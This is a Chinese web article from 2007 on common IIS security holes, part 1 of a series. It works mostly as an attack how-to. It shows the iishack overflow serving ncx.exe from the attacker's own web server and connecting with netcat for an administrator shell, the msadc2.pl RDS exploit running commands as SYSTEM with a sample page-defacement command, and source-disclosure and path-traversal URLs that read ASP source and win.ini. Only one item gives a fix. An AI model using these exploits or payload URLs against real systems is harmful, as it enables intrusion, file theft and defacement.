首 页源码商城图片动画下载中心文章中心轻年论坛客户留言赣州动漫收藏箱订单查询繁體中文
设为首页
加入收藏
联系我们
您当前的位置:轻年网 -> 文章中心 -> Windows -> 黑客功防 -> 文章内容 退出登录 用户管理
栏目导航
· 系统相关 · 黑客功防
热门文章
· 数字化的时钟
· 左边显示日历,右边显...
· 最简单的目录树形例...
· 非常酷的日历,相信不...
· 真正的全屏显示,只能...
· [转载] 企业网站更新的必要...
· [推荐] 营销型网站规划
· 可以计算出下载指定...
· 将系统装到U盘中 如...
· twunk32.exe木马的清...
相关文章
· 网管必知 IIS中常见...
· 网管必知 IIS中常见...
网管必知 IIS中常见的十八个安全漏洞 (1)
作者:未知  来源:本站整理  发布时间:2007-2-15 11:23:08  发布人:wonderful

减小字体 增大字体

网管必知 IIS中常见的十八个安全漏洞 (1)  

    1. IIS4hack缓冲溢出  
     
      主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器: 
     
      c:>iishack.exe 80 /ncx.exe 
     
      然后你就使用netcat来连接你要检测的服务器: 
     
      c:>nc 80 
     
      如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。利用程序见iis4hack.zip 
     
      2.msadc 
     
      IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。利用程序为msadc2.pl,我们看看它的help 
     
      [quack@chat quack]$ perl msadc2.pl -h 
     
      -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
     
      Usage: msadc.pl -h { -d -X -v } 
     
      -h = host you want to scan (ip or domain) 
     
      -d = delay between calls, default 1 second 
     
      -X = dump Index Server path table, if available 
     
      -N = query VbBusObj for NetBIOS name 
     
      -V = use VbBusObj instead of ActiveDataFactory 
     
      -v = verbose 
     
      -e = external dictionary file for step 5 
     
      -u <\hostsharefile> = use UNC file 
     
      -w = Windows 95 instead of Windows NT 
     
      -c = v1 compatibility (three step query) 
     
      -s = run only step 
     
      Or a -R will resume a (v2) command session 
     
      [quack@chat quack]$ perl msadc2.pl -hhttp://www.targe.com/ 
     
      -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- 
     
      Type the command line you want to run (cmd /c assumed): 
     
      cmd /c 
     
      如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 
     
      echo hacked by me > d:inetpubwwwrootvictimwebindex.htm 
     
      3.Codebrws.asp  
     
      察看文件源代码 
     
      http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp 
     
      4.Showcode.asp 
     
      察看文件源代码 
     
      http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini 
     
      5.Null.htw 
     
      察看文件源代码 
     
      http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full 
     
      6.webhits.dll & .htw 
     
      hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: 
     
      http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息: 
     
      format of the QUERY_STRING is invalid这就表示你存在这个漏洞 .这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 
     
      这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序: 
     
      /iissamples/issamples/oop/qfullhit.htw 
     
      /iissamples/issamples/oop/qsumrhit.htw 
     
      /isssamples/exair/search/qfullhit.htw 
     
      /isssamples/exair/search/qsumrhit.htw 
     
      /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 
     
      一个攻击者可以使用如下的方法来访问系统中文件的内容: 
     
      http://www.victim.com/iissamples/issamples/oop/qfullhit.htw? 
     
      ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 
     
      
以上资讯由衡阳中盛电脑培训学校http://www.zs1314.com收集提供,转载请注明!  
[] [返回上一页] [打 印] [收 藏]
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登录
Copyright © 2006-2020 qn21.com. All Rights Reserved . 赣ICP备08002103号